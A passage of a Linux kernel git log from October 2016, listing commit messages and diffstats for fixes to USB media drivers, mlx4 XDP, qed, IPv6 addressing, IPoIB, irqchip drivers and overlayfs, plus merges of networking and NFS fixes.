USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Reviewed-by: Patrick Boettcher Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/cxusb.c | 62 ++++++++++++++++++++++----------------- drivers/media/usb/dvb-usb/cxusb.h | 6 ++++ 2 files changed, 41 insertions(+), 27 deletions(-) commit 0d43c0ff8b7e0a76136c602625efa5e6919baf9c Author: Mauro Carvalho Chehab Date: Fri Oct 7 06:16:59 2016 -0300 [media] cinergyT2-fe: don't do DMA on stack The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Reviewed-by: Patrick Boettcher Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/cinergyT2-fe.c | 56 +++++++++++++++++++------------- 1 file changed, 33 insertions(+), 23 deletions(-) commit c2730eef5fa180eec853f3775bebc4d74e6e6697 Author: Mauro Carvalho Chehab Date: Fri Oct 7 06:07:36 2016 -0300 [media] cinergyT2-fe: cache stats at cinergyt2_fe_read_status() Instead of sending USB commands for every stats call, collect them once, when status is updated. As the frontend kthread will call it on every few seconds, the stats will still be collected. Besides reducing the amount of USB/I2C transfers, this also warrants that all stats will be collected at the same time, and makes easier to convert it to DVBv5 stats in the future. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/cinergyT2-fe.c | 48 +++++--------------------------- 1 file changed, 7 insertions(+), 41 deletions(-) commit 54d577a4c91ba5dfe634ddee26223bc9a39687a7 Author: Mauro Carvalho Chehab Date: Fri Oct 7 13:54:33 2016 -0300 [media] cinergyT2-core: handle error code on RC query There's no sense on decoding and generating a RC key code if there was an error on the URB control message. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/cinergyT2-core.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 5ef8ed0e5608f75805e41ef8abbe94a3597e6613 Author: Mauro Carvalho Chehab Date: Wed Oct 5 06:02:19 2016 -0300 [media] cinergyT2-core: don't do DMA on stack The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Reviewed-by: Patrick Boettcher Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/cinergyT2-core.c | 84 ++++++++++++++++++++++-------- 1 file changed, 61 insertions(+), 23 deletions(-) commit c58b84ee467bfd08b39fbda56757ba19ac50980a Author: Mauro Carvalho Chehab Date: Wed Oct 5 06:46:49 2016 -0300 [media] af9005: don't do DMA on stack The USB control messages require DMA to work. We cannot pass a stack-allocated buffer, as it is not warranted that the stack would be into a DMA enabled area. Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/af9005.c | 319 +++++++++++++++++++++---------------- 1 file changed, 181 insertions(+), 138 deletions(-) commit 958b3d396d7f80755e2c2e6a8f873a669f38de10 Author: Brenden Blanco Date: Thu Oct 13 13:13:11 2016 -0700 net/mlx4_en: fixup xdp tx irq to match rx In cases where the number of tx rings is not a multiple of the number of rx rings, the tx completion event will be handled on a different core from the transmit and population of the ring. Races on the ring will lead to a double-free of the page, and possibly other corruption. The rings are initialized by default with a valid multiple of rings, based on the number of cpus, therefore an invalid configuration requires ethtool to change the ring layout. For instance 'ethtool -L eth0 rx 9 tx 8' will cause packets received on rx0, and XDP_TX'd to tx48, to be completed on cpu3 (48 % 9 == 3). Resolve this discrepancy by shifting the irq for the xdp tx queues to start again from 0, modulo rx_ring_num. Fixes: 9ecc2d86171a ("net/mlx4_en: add xdp forwarding and data write support") Reported-by: Jesper Dangaard Brouer Signed-off-by: Brenden Blanco Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_cq.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit fbbfa34c2c25f163515d5229a6cbdff243588f88 Merge: 76506a9 8c93bea Author: David S. Miller Date: Fri Oct 14 11:07:23 2016 -0400 Merge branch 'qed-fixes' Yuval Mintz says: ==================== qed: Fix dependencies and warnings series The first patch in this series follows Dan Carpenter's reports about Smatch warnings for recent qed additions and fixes those. The second patch is the most significant one [and the reason this is ntended for 'net'] - it's based on Arnd Bermann's suggestion for fixing compilation issues that were introduced with the roce addition as a result of certain combinations of qed, qede and qedr Kconfig options. The third follows the discussion with Arnd and clears a lot of the warnings that arise when compiling the drivers with "C=1". Please consider applying this series to 'net'. ==================== Acked-by: Arnd Bergmann Signed-off-by: David S. Miller commit 8c93beaf5714b9ddfa4a0b4bcf89725d2021e903 Author: Yuval Mintz Date: Thu Oct 13 22:57:03 2016 +0300 qed: Additional work toward cleaning C=1 This cleans many of the warnings that would arise in qed as a result of compilations with C=1; Most of those are the addition of missing 'static' to functions, although there are several other fixes as well. Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_cxt.c | 8 +- drivers/net/ethernet/qlogic/qed/qed_debug.c | 53 +++++++------ drivers/net/ethernet/qlogic/qed/qed_dev.c | 5 +- drivers/net/ethernet/qlogic/qed/qed_ll2.c | 15 ++-- drivers/net/ethernet/qlogic/qed/qed_main.c | 2 +- drivers/net/ethernet/qlogic/qed/qed_roce.c | 118 ++++------------------------ drivers/net/ethernet/qlogic/qed/qed_roce.h | 20 ----- drivers/net/ethernet/qlogic/qed/qed_sp.h | 1 - 8 files changed, 58 insertions(+), 164 deletions(-) commit 0189efb8f4f830b9ac7a7c56c0c6e260859e950d Author: Yuval Mintz Date: Thu Oct 13 22:57:02 2016 +0300 qed*: Fix Kconfig dependencies with INFINIBAND_QEDR The qedr driver would require a tristate Kconfig option [to allow it to compile as a module], and toward that end we've added the INFINIBAND_QEDR option. But as we've made the compilation of the qed/qede infrastructure required for RoCE dependent on the option we'd be facing linking difficulties in case that QED=y or QEDE=y, and INFINIBAND_QEDR=m. To resolve this, we seperate between the INFINIBAND_QEDR option and the infrastructure support in qed/qede by introducing a new QED_RDMA option which would be selected by INFINIBAND_QEDR but would be a boolean instead of a tristate; Following that, the qed/qede is fixed based on this new option so that all config combinations would be supported. Fixes: cee9fbd8e2e9 ("qede: add qedr framework") Reported-by: Arnd Bergmann Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/Kconfig | 4 ++ drivers/net/ethernet/qlogic/qed/Makefile | 2 +- drivers/net/ethernet/qlogic/qed/qed_cxt.c | 7 +-- drivers/net/ethernet/qlogic/qed/qed_dev.c | 14 ++--- drivers/net/ethernet/qlogic/qed/qed_ll2.c | 1 + drivers/net/ethernet/qlogic/qed/qed_ll2.h | 20 ------- drivers/net/ethernet/qlogic/qed/qed_main.c | 28 +++++---- drivers/net/ethernet/qlogic/qed/qed_roce.c | 91 +++++++++++++++--------------- drivers/net/ethernet/qlogic/qed/qed_roce.h | 75 +++++++++++++++--------- drivers/net/ethernet/qlogic/qed/qed_spq.c | 4 -- drivers/net/ethernet/qlogic/qede/Makefile | 2 +- include/linux/qed/qede_roce.h | 2 +- 12 files changed, 120 insertions(+), 130 deletions(-) commit ce6b04ee8b112cc9d5ef41ba697a3ffabc630f42 Author: Yuval Mintz Date: Thu Oct 13 22:57:01 2016 +0300 qed: Fix static checker warning. Smatch compains about qed_roce_ll2_tx() dereference of the 'cdev' variable while testing its validity later. As the validation checking is an over-kill [variable would always be set], simply remove it. Reported-by: Dan Carpenter Fixes: abd49676c707 ("qed: Add RoCE ll2 & GSI support") Signed-off-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_roce.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 76506a986dc31394fd1f2741db037d29c7e57843 Author: Jiri Bohac Date: Thu Oct 13 18:52:15 2016 +0200 IPv6: fix DESYNC_FACTOR The IPv6 temporary address generation uses a variable called DESYNC_FACTOR to prevent hosts updating the addresses at the same time. Quoting RFC 4941: ... The value DESYNC_FACTOR is a random value (different for each client) that ensures that clients don't synchronize with each other and generate new addresses at exactly the same time ... DESYNC_FACTOR is defined as: DESYNC_FACTOR -- A random value within the range 0 - MAX_DESYNC_FACTOR. It is computed once at system start (rather than each time it is used) and must never be greater than (TEMP_VALID_LIFETIME - REGEN_ADVANCE). First, I believe the RFC has a typo in it and meant to say: "and must never be greater than (TEMP_PREFERRED_LIFETIME - REGEN_ADVANCE)" The reason is that at various places in the RFC, DESYNC_FACTOR is used in a calculation like (TEMP_PREFERRED_LIFETIME - DESYNC_FACTOR) or (TEMP_PREFERRED_LIFETIME - REGEN_ADVANCE - DESYNC_FACTOR). It needs to be smaller than (TEMP_PREFERRED_LIFETIME - REGEN_ADVANCE) for the result of these calculations to be larger than zero. It's never used in a calculation together with TEMP_VALID_LIFETIME. I already submitted an errata to the rfc-editor: https://www.rfc-editor.org/errata_search.php?rfc=4941 The Linux implementation of DESYNC_FACTOR is very wrong: max_desync_factor is used in places DESYNC_FACTOR should be used. max_desync_factor is initialized to the RFC-recommended value for MAX_DESYNC_FACTOR (600) but the whole point is to get a _random_ value. And nothing ensures that the value used is not greater than (TEMP_PREFERRED_LIFETIME - REGEN_ADVANCE), which leads to underflows. The effect can easily be observed when setting the temp_prefered_lft sysctl e.g. to 60. The preferred lifetime of the temporary addresses will be bogus. TEMP_PREFERRED_LIFETIME and REGEN_ADVANCE are not constants and can be influenced by these three sysctls: regen_max_retry, dad_transmits and temp_prefered_lft. Thus, the upper bound for desync_factor needs to be re-calculated each time a new address is generated and if desync_factor is larger than the new upper bound, a new random value needs to be re-generated. And since we already have max_desync_factor configurable per interface, we also need to calculate and store desync_factor per interface. Signed-off-by: Jiri Bohac Signed-off-by: David S. Miller include/net/if_inet6.h | 1 + net/ipv6/addrconf.c | 39 +++++++++++++++++++++++++++++++-------- 2 files changed, 32 insertions(+), 8 deletions(-) commit 9d6280da39c04832d6abf5f4ecc8175c9aad91c0 Author: Jiri Bohac Date: Thu Oct 13 18:50:02 2016 +0200 IPv6: Drop the temporary address regen_timer The randomized interface identifier (rndid) was periodically updated from the regen_timer timer. Simplify the code by updating the rndid only when needed by ipv6_try_regen_rndid(). This makes the follow-up DESYNC_FACTOR fix much simpler. Also it fixes a reference counting error in this error path, where an in6_dev_put was missing: err = addrconf_sysctl_register(ndev); if (err) { ipv6_mc_destroy_dev(ndev); - del_timer(&ndev->regen_timer); snmp6_unregister_dev(ndev); goto err_release; Signed-off-by: Jiri Bohac Signed-off-by: David S. Miller include/net/if_inet6.h | 1 - net/ipv6/addrconf.c | 61 ++++++++------------------------------------------ 2 files changed, 9 insertions(+), 53 deletions(-) commit fc791b6335152c5278dc4a4991bcb2d329f806f9 Author: Paolo Abeni Date: Thu Oct 13 18:26:56 2016 +0200 IB/ipoib: move back IB LL address into the hard header After the commit 9207f9d45b0a ("net: preserve IP control block during GSO segmentation"), the GSO CB and the IPoIB CB conflict. That destroy the IPoIB address information cached there, causing a severe performance regression, as better described here: http://marc.info/?l=linux-kernel&m=146787279825501&w=2 This change moves the data cached by the IPoIB driver from the skb control lock into the IPoIB hard header, as done before the commit 936d7de3d736 ("IPoIB: Stop lying about hard_header_len and use skb->cb to stash LL addresses"). In order to avoid GRO issue, on packet reception, the IPoIB driver stash into the skb a dummy pseudo header, so that the received packets have actually a hard header matching the declared length. To avoid changing the connected mode maximum mtu, the allocated head buffer size is increased by the pseudo header length. After this commit, IPoIB performances are back to pre-regression value. v2 -> v3: rebased v1 -> v2: avoid changing the max mtu, increasing the head buf size Fixes: 9207f9d45b0a ("net: preserve IP control block during GSO segmentation") Signed-off-by: Paolo Abeni Signed-off-by: David S. Miller drivers/infiniband/ulp/ipoib/ipoib.h | 20 +++++++--- drivers/infiniband/ulp/ipoib/ipoib_cm.c | 15 +++---- drivers/infiniband/ulp/ipoib/ipoib_ib.c | 12 +++--- drivers/infiniband/ulp/ipoib/ipoib_main.c | 54 ++++++++++++++++---------- drivers/infiniband/ulp/ipoib/ipoib_multicast.c | 6 ++- 5 files changed, 64 insertions(+), 43 deletions(-) commit f1f081cef09697d97f20ea6b8b545b1b61613880 Merge: f56f7d2 50a2c95 Author: David S. Miller Date: Fri Oct 14 10:44:45 2016 -0400 Merge tag 'rxrpc-rewrite-20161013' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Fixes This set of patches contains a bunch of fixes: (1) Fix use of kunmap() after change from kunmap_atomic() within AFS. (2) Don't use of ERR_PTR() with an always zero value. (3) Check the right error when using ip6_route_output(). (4) Be consistent about whether call->operation_ID is BE or CPU-E within AFS. ==================== Signed-off-by: David S. Miller commit f56f7d2e1cbe6a34dbda177d4d6245d8f8cb94bd Author: Alexander Alemayhu Date: Thu Oct 13 17:09:51 2016 +0200 Documentation/networking: update git urls to use https over http This fixes the following errors when trying to clone the urls: Cloning into 'net'... fatal: repository 'http://git.kernel.org/cgit/linux/kernel/git/davem/net.git/' not found Cloning into 'net-next'... fatal: repository 'http://git.kernel.org/cgit/linux/kernel/git/davem/net-next.git/' not found Cloning into 'linux'... fatal: repository 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/' not found Cloning into 'stable-queue'... fatal: repository 'http://git.kernel.org/cgit/linux/kernel/git/stable/stable-queue.git/' not found Signed-off-by: Alexander Alemayhu Signed-off-by: David S. Miller Documentation/networking/netdev-FAQ.txt | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 059f01410822b9a37fac0f4da8c2202c2d39e7a5 Author: Javier Martinez Canillas Date: Wed Oct 12 16:05:59 2016 -0300 net: wan: slic_ds26522: Allow driver to built if COMPILE_TEST is enabled The driver only has runtime but no build time dependency with FSL_SOC || ARCH_MXC || ARCH_LAYERSCAPE. So it can be built for testing purposes if the COMPILE_TEST option is enabled. This is useful to have more build coverage and make sure that the driver is not affected by changes that could cause build regressions. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/wan/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 485c9d43382172c1b2ecf42deb4476b5e37e1264 Author: Javier Martinez Canillas Date: Wed Oct 12 15:55:41 2016 -0300 net: wan: slic_ds26522: Export OF module alias information When the device is registered via OF, the OF table is used to match the driver instead of the SPI device ID table, but the entries in the later are used as aliasses to load the module if the driver was not built-in. This is because the SPI core always reports an SPI module alias instead of an OF one, but that could change so it's better to always export it. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/wan/slic_ds26522.c | 1 + 1 file changed, 1 insertion(+) commit 558c5eb58a5c029745b29558782d528b05aba8a5 Author: Javier Martinez Canillas Date: Wed Oct 12 15:55:40 2016 -0300 net: wan: slic_ds26522: add SPI device ID table to fix module autoload If the driver is built as a module, module alias information isn't filled so the module won't be autoloaded. Add a SPI device ID table and use the MODULE_DEVICE_TABLE() macro so the information is exported in the module. Before this patch: $ modinfo drivers/net/wan/slic_ds26522.ko | grep alias $ After this patch: $ modinfo drivers/net/wan/slic_ds26522.ko | grep alias alias: spi:ds26522 Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/wan/slic_ds26522.c | 7 +++++++ 1 file changed, 7 insertions(+) commit a220445f9f4382c36a53d8ef3e08165fa27f7e2c Author: Nicolas Dichtel Date: Wed Oct 12 10:10:40 2016 +0200 ipv6: correctly add local routes when lo goes up The goal of the patch is to fix this scenario: ip link add dummy1 type dummy ip link set dummy1 up ip link set lo down ; ip link set lo up After that sequence, the local route to the link layer address of dummy1 is not there anymore. When the loopback is set down, all local routes are deleted by addrconf_ifdown()/rt6_ifdown(). At this time, the rt6_info entry still exists, because the corresponding idev has a reference on it. After the rcu grace period, dst_rcu_free() is called, and thus ___dst_free(), which will set obsolete to DST_OBSOLETE_DEAD. In this case, init_loopback() is called before dst_rcu_free(), thus obsolete is still sets to something <= 0. So, the function doesn't add the route again. To avoid that race, let's check the rt6 refcnt instead. Fixes: 25fb6ca4ed9c ("net IPv6 : Fix broken IPv6 routing table after loopback down-up") Fixes: a881ae1f625c ("ipv6: don't call addrconf_dst_alloc again when enable lo") Fixes: 33d99113b110 ("ipv6: reallocate addrconf router for ipv6 address when lo device up") Reported-by: Francesco Santoro Reported-by: Samuel Gauthier CC: Balakumaran Kannan CC: Maruthi Thotad CC: Sabrina Dubroca CC: Hannes Frederic Sowa CC: Weilong Chen CC: Gao feng Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller net/ipv6/addrconf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 68d00f332e0ba7f60f212be74ede290c9f873bc5 Author: Vadim Fedorenko Date: Tue Oct 11 22:47:20 2016 +0300 ip6_tunnel: fix ip6_tnl_lookup The commit ea3dc9601bda ("ip6_tunnel: Add support for wildcard tunnel endpoints.") introduces support for wildcards in tunnels endpoints, but in some rare circumstances ip6_tnl_lookup selects wrong tunnel interface relying only on source or destination address of the packet and not checking presence of wildcard in tunnels endpoints. Later in ip6_tnl_rcv this packets can be dicarded because of difference in ipproto even if fallback device have proper ipproto configuration. This patch adds checks of wildcard endpoint in tunnel avoiding such behavior Fixes: ea3dc9601bda ("ip6_tunnel: Add support for wildcard tunnel endpoints.") Signed-off-by: Vadim Fedorenko Signed-off-by: David S. Miller net/ipv6/ip6_tunnel.c | 2 ++ 1 file changed, 2 insertions(+) commit d102eb5c1ac5e6743b1c6d145c06a25d98ad1375 Author: Dan Carpenter Date: Fri Oct 14 10:26:21 2016 +0300 irqchip/gicv3: Handle loop timeout proper The timeout loop terminates when the loop count is zero, but the decrement of the count variable is post check. So count is -1 when we check for the timeout and therefor the error message is supressed. Change it to predecrement, so the error message is emitted. [ tglx: Massaged changelog ] Fixes: a2c225101234 ("irqchip: gic-v3: Refactor gic_enable_redist to support both enabling and disabling") Signed-off-by: Dan Carpenter Acked-by: Sudeep Holla Cc: Marc Zyngier Cc: kernel-janitors@vger.kernel.org Cc: Jason Cooper Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/20161014072534.GA15168@mwanda Signed-off-by: Thomas Gleixner drivers/irqchip/irq-gic-v3.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c024f06b3de372cd67f86b142992ac88fc3a7d18 Author: Rich Felker Date: Thu Oct 13 20:35:30 2016 +0000 irqchip/jcore: Fix lost per-cpu interrupts The J-Core AIC does not have separate interrupt numbers reserved for cpu-local vs global interrupts. Instead, the driver requesting the irq is expected to know whether its device uses per-cpu interrupts or not. Previously it was assumed that handle_simple_irq could work for both cases, but it intentionally drops interrupts for an irq number that already has a handler running. This resulted in the timer interrupt for one cpu being lost when multiple cpus' timers were set for approximately the same expiration time, leading to stalls. In theory the same could also happen with IPIs. To solve the problem, instead of registering handle_simple_irq as the handler, register a wrapper function which checks whether the irq to be handled was requested as per-cpu or not, and passes it to handle_simple_irq or handle_percpu_irq accordingly. Fixes: 981b58f66cfc ("irqchip/jcore-aic: Add J-Core AIC driver") Signed-off-by: Rich Felker Cc: Marc Zyngier Cc: Jason Cooper Cc: linux-sh@vger.kernel.org Link: http://lkml.kernel.org/r/f18cec30bc17e3f52e478dd9f6714bfab02f227f.1476390724.git.dalias@libc.org Signed-off-by: Thomas Gleixner drivers/irqchip/irq-jcore-aic.c | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) commit c0ca8df717061ae3d2ea624024033103c64210ae Author: Noam Camus Date: Thu Oct 13 16:15:32 2016 +0300 irqchip/eznps: Acknowledge NPS_IPI before calling the handler IPI_IRQ (also TIMER0_IRQ) should be acked before the action->handler is called in handle_percpu_devid_irq. The IPI irq is edge sensitive and we might miss an IPI interrupt if it is triggered again while the handler runs. Fixes: 44df427c894a ("irqchip: add nps Internal and external irqchips") Signed-off-by: Noam Camus Cc: marc.zyngier@arm.com Cc: jason@lakedaemon.net Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/1476364532-12634-1-git-send-email-noamca@mellanox.com Signed-off-by: Thomas Gleixner drivers/irqchip/irq-eznps.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c836eeda3e1e652d424bbbbb908f07eb7380448c Author: Longpeng(Mike) Date: Fri Oct 14 08:42:20 2016 +0800 x86: Remove duplicate rtit status MSR macro The MSR_IA32_RTIT_STATUS is defined twice, so remove one. Signed-off-by: Longpeng(Mike) Acked-by: Borislav Petkov Cc: len.brown@intel.com Cc: peterz@infradead.org Cc: rafael.j.wysocki@intel.com Cc: alexander.shishkin@linux.intel.com Cc: ray.huang@amd.com Cc: Aravind.Gopalakrishnan@amd.com Cc: wu.wubin@huawei.com Cc: srinivas.pandruvada@linux.intel.com Cc: zhaoshenglong@huawei.com Cc: vladimir_zapolskiy@mentor.com Link: http://lkml.kernel.org/r/1476405740-80816-1-git-send-email-longpeng2@huawei.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/msr-index.h | 1 - 1 file changed, 1 deletion(-) commit 1ec6ec14a2943f6f611fc1d5fb2d4eaa85bd9d72 Author: Wanpeng Li Date: Fri Oct 14 09:48:53 2016 +0800 x86/smp: Add irq_enter/exit() in smp_reschedule_interrupt() =============================== [ INFO: suspicious RCU usage. ] 4.8.0+ #24 Not tainted ------------------------------- ./arch/x86/include/asm/msr-trace.h:47 suspicious rcu_dereference_check() usage! other info that might help us debug this: RCU used illegally from idle CPU! rcu_scheduler_active = 1, debug_locks = 0 RCU used illegally from extended quiescent state! no locks held by swapper/1/0. [] do_trace_write_msr+0x135/0x140 [] native_write_msr+0x20/0x30 [] native_apic_msr_eoi_write+0x1d/0x30 [] smp_reschedule_interrupt+0x1d/0x30 [] reschedule_interrupt+0x96/0xa0 Reschedule interrupt may be called in cpu idle state. This causes lockdep check warning above. Add irq_enter/exit() in smp_reschedule_interrupt(), irq_enter() tells the RCU subsystems to end the extended quiescent state, so the following trace call in ack_APIC_irq() works correctly. Signed-off-by: Wanpeng Li Cc: Peter Zijlstra Cc: Mike Galbraith Link: http://lkml.kernel.org/r/1476409733-5133-1-git-send-email-wanpeng.li@hotmail.com Signed-off-by: Thomas Gleixner arch/x86/kernel/smp.c | 2 ++ 1 file changed, 2 insertions(+) commit 522533f338f38e15106d5f58901f38fe7bd6a7d8 Merge: 3f62d52 84baf17 eab05ec e311404 abc4b9a Author: Rafael J. Wysocki Date: Fri Oct 14 14:10:19 2016 +0200 Merge branches 'acpi-fan', 'acpi-ec', 'acpi-drivers' and 'acpi-osl' * acpi-fan: ACPI / fan: Fix error reading cur_state * acpi-ec: ACPI / EC: Fix unused function warning when CONFIG_PM_SLEEP=n * acpi-drivers: ACPI / PAD: don't register acpi_pad driver if running as Xen dom0 * acpi-osl: acpi_os_vprintf: Use printk_get_level() to avoid unnecessary KERN_CONT commit 3f62d5269bc59ce3797397cc54edab17fbe60682 Merge: 72d3992 b60e4ea daeb201 Author: Rafael J. Wysocki Date: Fri Oct 14 14:09:57 2016 +0200 Merge branches 'device-properties' and 'acpi-misc' * device-properties: ACPI / property: Allow holes in reference properties * acpi-misc: MAINTAINERS: Add ARM64-specific ACPI maintainers entry commit 383731d98e768e15f4a8d69ae87957b933323ed7 Merge: 72ec945 c197d75 d0563a0 Author: Rafael J. Wysocki Date: Fri Oct 14 14:09:14 2016 +0200 Merge branches 'pm-cpufreq' and 'pm-devfreq' * pm-cpufreq: cpufreq: CPPC: Correct desired_perf calculation cpufreq: conservative: Fix next frequency selection cpufreq: skip invalid entries when searching the frequency cpufreq: intel_pstate: Fix struct pstate_adjust_policy kerneldoc cpufreq: intel_pstate: Proportional algorithm for Atom cpufreq: intel_pstate: Clarify comment in get_target_pstate_use_performance() cpufreq: intel_pstate: Fix unsafe HWP MSR access * pm-devfreq: PM / devfreq: Skip status update on uninitialized previous_freq PM / devfreq: Add proper locking around list_del() PM / devfreq: exynos-nocp: Remove redundant code PM / devfreq: exynos-nocp: Select REGMAP_MMIO commit 7764235becf3b72bd124400fbffe670531322135 Author: Miklos Szeredi Date: Tue Oct 4 14:40:45 2016 +0200 ovl: use vfs_get_link() Resulting in a complete removal of a function basically implementing the inverse of vfs_readlink(). As a bonus, now the proper security hook is also called. Signed-off-by: Miklos Szeredi fs/overlayfs/copy_up.c | 46 ++++++---------------------------------------- fs/overlayfs/inode.c | 10 +--------- 2 files changed, 7 insertions(+), 49 deletions(-) commit d60874cd58fcb21372f2df698c20f8cf2f78fdcb Author: Miklos Szeredi Date: Tue Oct 4 14:40:45 2016 +0200 vfs: add vfs_get_link() helper This helper is for filesystems that want to read the symlink and are better off with the get_link() interface (returning a char *) rather than the readlink() interface (copy into a userspace buffer). Also call the LSM hook for readlink (not get_link) since this is for symlink reading not following. Signed-off-by: Miklos Szeredi fs/namei.c | 25 +++++++++++++++++++++++++ include/linux/fs.h | 1 + 2 files changed, 26 insertions(+) commit 78a3fa4f3249055b472983065b30c02392cf7e2a Author: Miklos Szeredi Date: Tue Oct 4 14:40:44 2016 +0200 ovl: use generic_readlink All filesystems that are backers for overlayfs would also use generic_readlink(). Move this logic to the overlay itself, which is a nice cleanup. Signed-off-by: Miklos Szeredi fs/overlayfs/inode.c | 21 +-------------------- 1 file changed, 1 insertion(+), 20 deletions(-) commit cb348edb6bef7250d1d0f8f2d7dac152d8b52626 Author: Miklos Szeredi Date: Tue Oct 4 14:40:44 2016 +0200 ovl: explain error values when removing acl from workdir Suggested-by: Linus Torvalds Signed-off-by: Miklos Szeredi fs/overlayfs/super.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 29fbff8698fc0ac1a1d74584b258e0bf18b469f9 Merge: c4a8616 4eb6753 Author: Linus Torvalds Date: Thu Oct 13 21:40:23 2016 -0700 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Pull networking fixes from David Miller: 1) Fix various build warnings in tlan/qed/xen-netback drivers, from Arnd Bergmann. 2) Propagate proper error code in strparser's strp_recv(), from Geert Uytterhoeven. 3) Fix accidental broadcast of RTM_GETTFILTER responses, from Eric Dumazret. 4) Need to use list_for_each_entry_safe() in qed driver, from Wei Yongjun. 5) Openvswitch 802.1AD bug fixes from Jiri Benc. 6) Cure BUILD_BUG_ON() in mlx5 driver, from Tom Herbert. 7) Fix UDP ipv6 checksumming in netvsc driver, from Stephen Hemminger. 8) stmmac driver fixes from Giuseppe CAVALLARO. 9) Fix access to mangled IP6CB in tcp, from Eric Dumazet. 10) Fix info leaks in tipc and rtnetlink, from Dan Carpenter. * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net: (27 commits) net: bridge: add the multicast_flood flag attribute to brport_attrs net: axienet: Remove unused parameter from __axienet_device_reset liquidio: CN23XX: fix a loop timeout net: rtnl: info leak in rtnl_fill_vfinfo() tipc: info leak in __tipc_nl_add_udp_addr() net: ipv4: Do not drop to make_route if oif is l3mdev net: phy: Trigger state machine on state change and not polling. ipv6: tcp: restore IP6CB for pktoptions skbs netvsc: Remove mistaken udp.h inclusion. xen-netback: fix type mismatch warning stmmac: fix error check when init ptp stmmac: fix ptp init for gmac4 qed: fix old-style function definition netvsc: fix checksum on UDP IPV6 net_sched: reorder pernet ops and act ops registrations xen-netback: fix guest Rx stall detection (after guest Rx refactor) drivers/ptp: Fix kernel memory disclosure net/mlx5: Add MLX5_ARRAY_SET64 to fix BUILD_BUG_ON qmi_wwan: add support for Quectel EC21 and EC25 openvswitch: add NETIF_F_HW_VLAN_STAG_TX to internal dev ... commit c4a86165d1ec70c8e592fa7b7cc7070971533021 Merge: 2778556 3f807e5 Author: Linus Torvalds Date: Thu Oct 13 21:28:20 2016 -0700 Merge tag 'nfs-for-4.9-1' of git://git.linux-nfs.org/projects/anna/linux-nfs Pull NFS client updates from Anna Schumaker: "Highlights include: Stable bugfixes: - sunrpc: fix writ espace race causing stalls - NFS: Fix inode corruption in nfs_prime_dcache() - NFSv4: Don't report revoked delegations as valid in nfs_have_delegation() - NFSv4: nfs4_copy_delegation_stateid() must fail if the delegation is invalid - NFSv4: Open state recovery must account for file permission changes - NFSv4.2: Fix a reference leak in nfs42_proc_layoutstats_generic Features: - Add support for tracking multiple layout types with an ordered list - Add support for using multiple backchannel threads on the client - Add support for pNFS file layout session trunking - Delay xprtrdma use of DMA API (for device driver removal) - Add support for xprtrdma remote invalidation - Add support for larger xprtrdma inline thresholds - Use a scatter/gather list for sending xprtrdma RPC calls - Add support for the CB_NOTIFY_LOCK callback - Improve hashing sunrpc auth_creds by using both uid and gid Bugfixes: - Fix xprtrdma use of DMA API - Validate filenames before adding to the dcache - Fix corruption of xdr->nwords in xdr_copy_to_scratch - Fix setting buffer length in xdr_set_next_buffer() - Don't deadlock the state manager on the SEQUENCE status flags - Various delegation and stateid related fixes - Retry operations if an interrupted slot receives EREMOTEIO - Make nfs boot time y2038 safe" * tag 'nfs-for-4.9-1' of git://git.linux-nfs.org/projects/anna/linux-nfs: (100 commits) NFSv4.2: Fix a reference leak in nfs42_proc_layoutstats_generic fs: nfs: Make nfs boot time y2038 safe sunrpc: replace generic auth_cred hash with auth-specific function sunrpc: add RPCSEC_GSS hash_cred() function sunrpc: add auth_unix hash_cred() function sunrpc: add generic_auth hash_cred() function sunrpc: add hash_cred() function to rpc_authops struct Retry operation on EREMOTEIO on an interrupted slot pNFS: Fix atime updates on pNFS clients sunrpc: queue work on system_power_efficient_wq NFSv4.1: Even if the stateid is OK, we may need to recover the open modes NFSv4: If recovery failed for a specific open stateid, then don't retry NFSv4: Fix retry issues with nfs41_test/free_stateid NFSv4: Open state recovery must account for file permission changes NFSv4: Mark the lock and open stateids as invalid after freeing them NFSv4: Don't test open_stateid unless it is set NFSv4: nfs4_do_handle_exception() handle revoke/expiry of a single stateid NFS: Always call nfs_inode_find_state_and_recover() when revoking a delegation NFSv4: Fix a race when updating an open_stateid NFSv4: Fix a race in nfs_inode_reclaim_delegation() ... commit 